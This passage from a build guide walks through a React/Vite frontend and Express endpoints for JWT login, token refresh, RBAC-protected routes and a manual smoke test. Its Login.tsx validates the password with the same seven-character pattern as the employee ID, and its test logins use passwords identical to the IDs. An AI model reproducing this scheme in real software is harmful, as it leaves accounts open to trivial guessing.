npm install zustand @tanstack/react-query
npm install -D @tailwindcss/forms
```

27.2 vite.config.ts — proxy /api to backend

```
// vite.config.ts
import { defineConfig } from 'vite';
import react from '@vitejs/plugin-react';

export default defineConfig({
  plugins: [react()],
  server: {
    port: 5173,
    proxy: {
      '/api': {
        target: 'http://localhost:3000',
        changeOrigin: true,
      },
    },
  },
});
```

Proxy means the browser talks to localhost:5173 for everything; Vite forwards /api/* to localhost:3000. This avoids CORS during development.

27.3 tailwind.config.js

```
/** @type {import('tailwindcss').Config} */
export default {
  content: ['./index.html', './src/**/*.{js,ts,jsx,tsx}'],
  theme: {
    extend: {
      colors: {
        primary: '#1F4E79',  // matches our doc palette
      },
    },
  },
  plugins: [require('@tailwindcss/forms')],
};
```

28. src/lib/api-client.ts — Axios with Interceptors

The axios client is THE central nervous system of the frontend. Every API call goes through it. The interceptors handle two critical responsibilities: attach Bearer token, refresh on 401.

```
// src/lib/api-client.ts
import axios, { AxiosError, InternalAxiosRequestConfig } from 'axios';

const BASE_URL = '/api/v1';

// Module-level state — accessible from outside via setters
let accessToken: string | null = null;
let csrfToken: string | null = null;

export function setAccessToken(token: string | null) {
  accessToken = token;
}
export function setCsrfToken(token: string | null) {
  csrfToken = token;
}
export function getAccessToken() {
  return accessToken;
}

export const api = axios.create({
  baseURL: BASE_URL,
  withCredentials: true,  // CRITICAL — sends cookies
});

// ── REQUEST INTERCEPTOR — attach Authorization + CSRF ──
api.interceptors.request.use((config: InternalAxiosRequestConfig) => {
  if (accessToken) {
    config.headers.set('Authorization', `Bearer ${accessToken}`);
  }
  // CSRF token on write endpoints
  if (['post', 'patch', 'delete'].includes(config.method ?? '') && csrfToken) {
    config.headers.set('X-CSRF-Token', csrfToken);
  }
  return config;
});

// ── RESPONSE INTERCEPTOR — refresh on 401 ──
let refreshInFlight: Promise<string> | null = null;

api.interceptors.response.use(
  (resp) => resp,
  async (error: AxiosError) => {
    const original = error.config as InternalAxiosRequestConfig & { _retried?: boolean };

    if (
      error.response?.status === 401 &&
      !original._retried &&
```

```
      !original.url?.includes('/auth/')
    ) {
      original._retried = true;

      // Coalesce concurrent 401s into a single refresh call
      if (!refreshInFlight) {
        refreshInFlight = refreshAccessToken().finally(() => {
          refreshInFlight = null;
        });
      }
      try {
        const newToken = await refreshInFlight;
        original.headers!.set('Authorization', `Bearer ${newToken}`);
        return api(original);
      } catch (refreshError) {
        // Refresh failed → force re-login
        window.location.href = '/login';
        return Promise.reject(refreshError);
      }
    }
    return Promise.reject(error);
  }
);

async function refreshAccessToken(): Promise<string> {
  const r = await api.post('/auth/refresh');
  setAccessToken(r.data.data.accessToken);
  setCsrfToken(r.data.data.csrfToken);
  return r.data.data.accessToken;
}
```

✓The "refresh coalescing" trick

When the access token expires, MANY in-flight requests can fail with 401 simultaneously (e.g., dashboard widgets all firing at once).

Without coalescing, each 401 triggers its own /auth/refresh — 10 widgets = 10 refresh calls = 9 of them race-condition fail.

With coalescing (the refreshInFlight promise), only the FIRST 401 triggers the refresh; the other 9 wait on the same promise and reuse the result.

This is a small detail but the difference between "smooth dashboard" and "everything breaks on token expiry."

29. src/lib/auth-context.tsx

React Context provides accessToken + user + permissions to the entire app. Every protected component reads from here.

```
// src/lib/auth-context.tsx
import { createContext, useContext, useEffect, useState, ReactNode } from 'react';
import { api, setAccessToken, setCsrfToken, getAccessToken } from './api-client';

interface User {
  sub: string;          // employee_id
  uid: number;
  role: string;
  permissions: string[];
}

interface AuthState {
  user: User | null;
  loading: boolean;
  login: (employeeId: string, password: string) => Promise<void>;
  logout: () => Promise<void>;
  hasPermission: (perm: string) => boolean;
  hasAny: (...perms: string[]) => boolean;
}

const AuthContext = createContext<AuthState | undefined>(undefined);

export function AuthProvider({ children }: { children: ReactNode }) {
  const [user, setUser] = useState<User | null>(null);
  const [loading, setLoading] = useState(true);

  // On boot: try silent refresh
  useEffect(() => {
    api.post('/auth/refresh')
      .then(r => {
        setAccessToken(r.data.data.accessToken);
        setCsrfToken(r.data.data.csrfToken);
        setUser(r.data.data.user);
      })
      .catch(() => {/* not logged in, that is fine */})
      .finally(() => setLoading(false));
  }, []);

  async function login(employeeId: string, password: string) {
    const r = await api.post('/auth/login', {
      employee_id: employeeId,
      password,
    });
    setAccessToken(r.data.data.accessToken);
    setCsrfToken(r.data.data.csrfToken);
    setUser(r.data.data.user);
  }
```

```
  async function logout() {
    try { await api.post('/auth/logout'); } catch {}
    setAccessToken(null);
    setCsrfToken(null);
    setUser(null);
  }

  function hasPermission(perm: string) {
    return user?.permissions.includes(perm) ?? false;
  }
  function hasAny(...perms: string[]) {
    return perms.some(p => user?.permissions.includes(p));
  }

  return (
    <AuthContext.Provider value={{ user, loading, login, logout, hasPermission, hasAny }}>
      {children}
    </AuthContext.Provider>
  );
}

export function useAuth() {
  const ctx = useContext(AuthContext);
  if (!ctx) throw new Error('useAuth must be used inside AuthProvider');
  return ctx;
}
```

30. src/components/ProtectedRoute.tsx

```
// src/components/ProtectedRoute.tsx
import { Navigate, useLocation } from 'react-router-dom';
import { useAuth } from '../lib/auth-context';

interface Props {
  children: React.ReactNode;
  requiredPermission?: string;
}

export function ProtectedRoute({ children, requiredPermission }: Props) {
  const { user, loading, hasPermission } = useAuth();
  const location = useLocation();

  if (loading) return <div className="p-8">Loading...</div>;

  if (!user) {
    // Not authenticated → /login with return path
    return <Navigate to="/login" state={{ from: location }} replace />;
  }

  if (requiredPermission && !hasPermission(requiredPermission)) {
    // Authenticated but lacks permission → 403 page
    return (
      <div className="p-8 text-center">
        <h1 className="text-2xl font-bold">403 — Insufficient Permissions</h1>
        <p className="mt-4">
          You do not have permission '<code>{requiredPermission}</code>' required for this
page.
        </p>
      </div>
    );
  }

  return <>{children}</>;
}
```

30.1 Usage in router

```
// src/App.tsx
import { BrowserRouter, Routes, Route } from 'react-router-dom';
import { AuthProvider } from './lib/auth-context';
import { ProtectedRoute } from './components/ProtectedRoute';
import { Login } from './pages/Login';
import { Dashboard } from './pages/Dashboard';

export default function App() {
  return (
    <AuthProvider>
```

```
      <BrowserRouter>
        <Routes>
          <Route path="/login" element={<Login />} />
          <Route path="/dashboard" element={
            <ProtectedRoute><Dashboard /></ProtectedRoute>
          } />
          <Route path="/admin/users" element={
            <ProtectedRoute requiredPermission="user:read-list">
              <div>Admin Users page</div>
            </ProtectedRoute>
          } />
          <Route path="*" element={<Navigate to="/dashboard" replace />} />
        </Routes>
      </BrowserRouter>
    </AuthProvider>
  );
}
```

31. src/pages/Login.tsx

```
// src/pages/Login.tsx
import { useNavigate, useLocation } from 'react-router-dom';
import { useForm } from 'react-hook-form';
import { zodResolver } from '@hookform/resolvers/zod';
import { z } from 'zod';
import { useAuth } from '../lib/auth-context';
import { useState } from 'react';

const loginSchema = z.object({
  employee_id: z.string().regex(/^[A-Z]{2}[0-9]{5}$/, 'Format: 2 upper + 5 digits'),
  password: z.string().regex(/^[A-Z]{2}[0-9]{5}$/, 'Format: 2 upper + 5 digits'),
});

type LoginForm = z.infer<typeof loginSchema>;

export function Login() {
  const { login } = useAuth();
  const nav = useNavigate();
  const loc = useLocation();
  const [error, setError] = useState<string | null>(null);

  const { register, handleSubmit, formState: { errors, isSubmitting } } =
    useForm<LoginForm>({ resolver: zodResolver(loginSchema) });

  async function onSubmit(data: LoginForm) {
    setError(null);
    try {
      await login(data.employee_id, data.password);
      const to = (loc.state as { from?: { pathname: string } })?.from?.pathname ??
'/dashboard';
      nav(to, { replace: true });
    } catch (e: any) {
      setError(e.response?.data?.error?.message ?? 'Login failed');
    }
  }

  return (
    <div className="min-h-screen flex items-center justify-center bg-gray-50">
      <form onSubmit={handleSubmit(onSubmit)} className="bg-white p-8 rounded-lg shadow w-
96">
        <h1 className="text-2xl font-bold mb-6">CMCMIS Sign In</h1>

        <div className="mb-4">
          <label className="block text-sm font-medium mb-1">Employee ID</label>
          <input
            {...register('employee_id')}
            type="text"
            maxLength={7}
            placeholder="SA79900"
            className="w-full border rounded px-3 py-2"
            autoComplete="username"
```

```
          />
          {errors.employee_id && (
            <p className="text-red-600 text-xs mt-1">{errors.employee_id.message}</p>
          )}
        </div>

        <div className="mb-6">
          <label className="block text-sm font-medium mb-1">Password</label>
          <input
            {...register('password')}
            type="password"
            maxLength={7}
            className="w-full border rounded px-3 py-2"
            autoComplete="current-password"
          />
          {errors.password && (
            <p className="text-red-600 text-xs mt-1">{errors.password.message}</p>
          )}
        </div>

        {error && (
          <div className="mb-4 text-sm text-red-600 bg-red-50 p-2 rounded">
            {error}
          </div>
        )}

        <button
          type="submit"
          disabled={isSubmitting}
          className="w-full bg-primary text-white py-2 rounded disabled:opacity-50"
        >
          {isSubmitting ? 'Signing in...' : 'Sign in'}
        </button>
      </form>
    </div>
  );
}
```

PART VIII

STEP 6 — /me + Permission-Aware UI

Prove end-to-end permission flow

32. GET /api/v1/me Endpoint

A simple GET that returns the current user's profile + permissions. Useful for hydrating the frontend after a page refresh.

```
// src/modules/users/users.controller.js
async function getMe(req, res) {
  res.json({
    data: {
      employeeId: req.user.employeeId,
      userId: req.user.userId,
      role: req.user.role,
      permissions: req.user.permissions,
    },
  });
}

module.exports = { getMe };
```

```
// src/modules/users/users.routes.js
const router = require('express').Router();
const authenticate = require('../../middleware/authenticate');
const { getMe } = require('./users.controller');

router.get('/me', authenticate, getMe);

module.exports = router;
```

33. Sidebar.tsx — Permission-Filtered Nav

```
// src/components/Sidebar.tsx
import { Link } from 'react-router-dom';
import { useAuth } from '../lib/auth-context';

interface NavItem {
  label: string;
  to: string;
```

```
  requires: string;  // permission code
}

const ALL_ITEMS: NavItem[] = [
  { label: 'Dashboard',       to: '/dashboard',       requires: 'dashboard:view' },
  { label: 'Equipment',       to: '/equipment',       requires: 'equipment:read-list' },
  { label: 'Job Requests',    to: '/job-requests',    requires: 'job_request:read-own' },
  { label: 'Job Cards',       to: '/job-cards',       requires: 'job_card:read-list' },
  { label: 'Inquiry',         to: '/inquiry',         requires: 'inquiry:search-
instruments' },
  { label: 'Audit Log',       to: '/audit',           requires: 'audit_log:read' },
  { label: 'Manage Users',    to: '/admin/users',     requires: 'user:read-list' },
];

export function Sidebar() {
  const { user, hasPermission, logout } = useAuth();
  if (!user) return null;

  const visible = ALL_ITEMS.filter(i => hasPermission(i.requires));

  return (
    <aside className="w-64 bg-primary text-white min-h-screen p-4">
      <div className="mb-6">
        <div className="font-bold">{user.sub}</div>
        <div className="text-xs opacity-75">{user.role}</div>
      </div>
      <nav className="space-y-1">
        {visible.map(item => (
          <Link key={item.to} to={item.to}
                className="block px-3 py-2 rounded hover:bg-white/10">
            {item.label}
          </Link>
        ))}
      </nav>
      <button onClick={logout}
              className="mt-8 w-full px-3 py-2 bg-white/10 rounded hover:bg-white/20">
        Sign out
      </button>
    </aside>
  );
}
```

34. Dashboard.tsx — First Protected Page

```
// src/pages/Dashboard.tsx
import { Sidebar } from '../components/Sidebar';
import { useAuth } from '../lib/auth-context';

export function Dashboard() {
  const { user } = useAuth();
  return (
    <div className="flex">
      <Sidebar />
      <main className="flex-1 p-8">
        <h1 className="text-2xl font-bold">Welcome, {user?.sub}</h1>
        <p className="mt-2 text-gray-600">Role: {user?.role}</p>
        <p className="mt-2 text-gray-600">
          You have {user?.permissions.length ?? 0} permissions.
        </p>

        <details className="mt-4 bg-gray-50 p-4 rounded">
          <summary className="cursor-pointer">View permissions (debug)</summary>
          <ul className="mt-2 text-sm font-mono">
            {user?.permissions.map(p => <li key={p}>{p}</li>)}
          </ul>
        </details>
      </main>
    </div>
  );
}
```

PART IX

STEPS 7-8 — Smoke Test & Phase 5 Preview

Browser-driven acceptance + what comes next

35. STEP 7 — Browser Smoke Test Walkthrough

When all six previous steps are complete, this is the manual acceptance test. If every line passes, Phase 4 is sealed.

Step	Action	Expected Result
7.1	Start backend: npm run dev (in phase4-backend/)	Logs: "DB pool ready" + "Server ready { port: 3000 }"
7.2	Start frontend: npm run dev (in phase4-frontend/)	Vite logs: ready in 234 ms, http://localhost:5173/
7.3	Open http://localhost:5173 in browser	Redirects to /login automatically (no JWT in memory)
7.4	Open DevTools → Network tab; reload	See POST /auth/refresh return 401 (no cookie yet) — expected
7.5	Enter SA79900 / SA79900 → click Sign in	POST /auth/login → 200 OK; redirected to /dashboard
7.6	DevTools → Application → Cookies	See cmcmis_rt (HttpOnly ✓) + cmcmis_csrf (HttpOnly ✗)
7.7	Dashboard shows: "Welcome, SA79900"; "Role: SUPER_ADMIN"; "40 permissions"	Sidebar shows ALL items (Super Admin has all perms)
7.8	Hover sidebar "Manage Users" → click it	URL changes to /admin/users; page loads (no 403)
7.9	Click "Sign out"	Redirected to /login; Network shows POST /auth/logout 204; cookies cleared
7.10	Login as DS00001 / DS00001	Dashboard shows: "Role: NORMAL_USER"; "13 permissions"
7.11	Sidebar shows FEWER items (Dashboard, JRs, Inquiry only)	"Manage Users" is NOT visible (no user:read-list permission)
7.12	In address bar manually type /admin/users → Enter	403 Forbidden page renders. NOT a server crash.

✅**Phase 4 ACCEPTANCE CRITERIA**

All 12 smoke-test steps pass with the expected results documented above.

When this happens:

 PHASE 4 IS COMPLETE.

The HTTP auth layer + RBAC enforcement + frontend integration are working end-to-end. The same pattern (route → controller → service → repo) will now be replicated for Equipment, Job Requests, Job Cards in Phase 5.

36. STEP 8 — Phase 5 Preview (Equipment Module)

Once Phase 4 is sealed, the auth layer is done forever. Phase 5 onwards is "feature module after feature module" using the exact same shape.

36.1 What the Equipment module will look like

```
phase4-backend/src/modules/equipment/   ← same shape as auth/
├── equipment.routes.js
├── equipment.controller.js
├── equipment.service.js          ← state machine for PENDING → ACTIVE → ...
├── equipment.validators.js       ← zod schemas
└── equipment.repo.js             ← raw SQL

phase4-frontend/src/pages/equipment/
├── EquipmentList.tsx             ← table with filters
├── EquipmentDetail.tsx           ← single record + history timeline
├── EquipmentForm.tsx             ← create/edit (used by all 4 roles except VO)
└── EquipmentVerify.tsx           ← LIC/SA only — flip to ACTIVE
```

36.2 The first Phase 5 endpoint

```
// equipment.routes.js
router.get('/equipment',
  authenticate,
  authorize('equipment:read-list'),
  rowLevelScope,         // BR-VIS filter
  validate(listSchema, 'query'),
  ctrl.listEquipment
);

router.post('/equipment',
  authenticate,
  authorize('equipment:create'),    // open to 4 of 5 roles (D13)
  validate(createSchema, 'body'),
  ctrl.createEquipment              // sets status = PENDING_VERIFICATION (D10)
);

router.post('/equipment/:id/verify',
  authenticate,
  authorize('equipment:verify'),    // only LIC + SA (D14)
  ctrl.verifyEquipment              // PENDING → ACTIVE state transition
);
```

> **The Pattern Is Now Locked**
>
> Notice: equipment.routes.js looks 95% identical to auth.routes.js.

That is intentional. Phase 4 establishes the SHAPE. Phase 5+ replicates it for every feature.

Result: as DS, you write the auth module ONCE with maximum care. Every subsequent module is mostly copy-paste-modify. The auth module is the template.

Time spent perfecting Phase 4 = compounded across Phase 5, 6, 7, 8.

Part X — Appendix

37. Glossary

Term	Definition
Access Token	Short-lived (15min) JWT carried in Authorization: Bearer header
axios interceptor	Function that runs before request goes out / after response comes back
Authorization header	HTTP header carrying credentials: "Bearer <token>"
Bcrypt	Password-hashing function with adjustable cost factor; slow on purpose
Bearer token	A token where "presenting the token = being authorized." Like a movie ticket.
CORS	Cross-Origin Resource Sharing — browser security model for cross-domain requests
CSRF	Cross-Site Request Forgery — attacker tricks user's browser into using their session
CSP	Content Security Policy — header that whitelists which scripts can run
Double-submit token	CSRF defence: token in cookie + header; server checks they match
Helmet	Express middleware that sets ~15 OWASP-recommended security headers
HttpOnly	Cookie flag that prevents JavaScript access via document.cookie
HMAC-SHA256	Hash-based Message Authentication Code; used to sign JWTs
Interceptor	Middleware on the HTTP client (axios) — equivalent of Express middleware
JTI	JWT ID — unique identifier per token; enables targeted revocation
JWT	JSON Web Token — signed, base64url, three-segment credential
Middleware	Function in Express pipeline; receives (req, res, next)
multipleStatements	mysql2 flag enabling many statements per query call; MUST be off at runtime
Permission code	String like "equipment:create" — atomic resource:action permission
pino	Fast structured JSON logger
Refresh Token	Long-lived (7-day) JWT in httpOnly cookie; used to mint new access tokens
Refresh rotation	Each refresh issues a new pair; old refresh revoked
SameSite cookie	Cookie attribute: Lax / Strict / None; controls cross-site sending
Secure cookie	Cookie flag: only sent over HTTPS
SHA-256	Cryptographic hash; one-way; deterministic
Service layer	Layer between controller and repo; holds business logic
SPA	Single-Page Application — React + client-side routing

Term	Definition
Vite	Frontend build tool (D8); fast HMR
XSS	Cross-Site Scripting — attacker injects JavaScript that runs in user's page
Zod	TypeScript-first schema validation; same schema usable in FE + BE
Zustand	Tiny global state library (D4) — alternative to Redux

38. Module Build Order Cheatsheet

Print this page. Pin it next to your monitor. Build top to bottom.

#	Layer	Files	Gate to Next Step
STEP 1	Backend skeleton	package.json, .env.example, src/config/*.js, src/server.js	curl /healthz returns 200
STEP 2	Middleware	src/middleware/{validate,errorHandler}.js + helmet/cors wiring in server.js	curl /api/v1/notfound returns standard error envelope
STEP 3	Auth module	src/modules/auth/*.js (validators, repos, service, controller, routes)	curl /auth/login returns access token + sets cookie
STEP 4	JWT middleware	src/middleware/{authenticate,authorize,rateLimit}.js	curl /me with Bearer returns user JSON
STEP 5	Frontend scaffold	phase4-frontend/ + vite/tailwind config + src/lib/{api-client,auth-context}.ts + ProtectedRoute + Login.tsx	Login form renders; can submit credentials
STEP 6	/me + Sidebar	src/modules/users + Sidebar.tsx + Dashboard.tsx	After login: dashboard shows user info + permission-filtered sidebar
STEP 7	Smoke test	No new files — manual browser verification	All 12 smoke checks PASS
STEP 8	Phase 5 prep	src/modules/equipment/ skeleton; first migration if needed	Equipment routes.js compiles; auth wires up correctly

39. Final Sign-off — Phase 4 Ready-to-Build Manifest

Anchor	Value
Document	TECHNICALbaseORDERSphase.docx
Version	v1.0 — Build Guide
Scope	Code only — no tests, no deployment
Primary Focus	Auth module + browser security
Coverage	8 build steps · 60+ files · 12+ security concepts
Prerequisites	Phase 3 complete (✓done — RUNTIME READY)
Acceptance	12-step browser smoke test passes
Inheriting	Pattern locked for Phase 5+ (Equipment, JR, JC, Dashboard, Inquiry)
Subordinate To	FINAL-DESC-CMCMIS v1.0 · FINAL_DB_DESIGN_v2.0 · phase 0→3 FINAL
Stack	Express 4 · mysql2 · jsonwebtoken · bcryptjs · zod · React 18 · Vite · Tailwind v3 · axios
Auth Strategy	JWT in memory + httpOnly refresh cookie + CSRF double-submit
Permissions Model	3-layer RBAC (User → Role → Permission), 40 permissions seeded
Browser Inspect	Network tab + Application tab + Console tab — all explained
Prepared By	Claude (AI engineering pair) — Technical Documentation Engineer mode
Status	□ Ready to execute — start writing code top-to-bottom
Energy Level	Locked in at maximum □

□ PHASE 4 BUILD ORDER — READY TO EXECUTE

✓Mission statement captured

✓8-step build order locked

✓Backend skeleton fully designed (env, logger, pool, server.js)

✓Middleware pipeline fully explained (13 steps in order)

✓Auth module: validators → repos → service → controller → routes

✓JWT internals: anatomy, signature math, time claims

✓Security deep dive: XSS, httpOnly cookie, CSRF, CORS

✓Browser DevTools: Network, Application, Console tabs

✓Frontend: axios interceptors, auth-context, ProtectedRoute, Login

✓/me endpoint + permission-aware sidebar

✓12-step smoke test acceptance criteria

✓Phase 5 preview (Equipment module pattern)

✓Glossary + cheatsheet for daily reference

□□□ PHASE 4 → READY TO BUILD □□□

When you finish coding all 8 steps and pass the smoke test,

Phase 4 is SEALED and Phase 5 begins.

Energy level: nuclear. □□□

END OF DOCUMENT — TECHNICALbaseORDERSphase.docx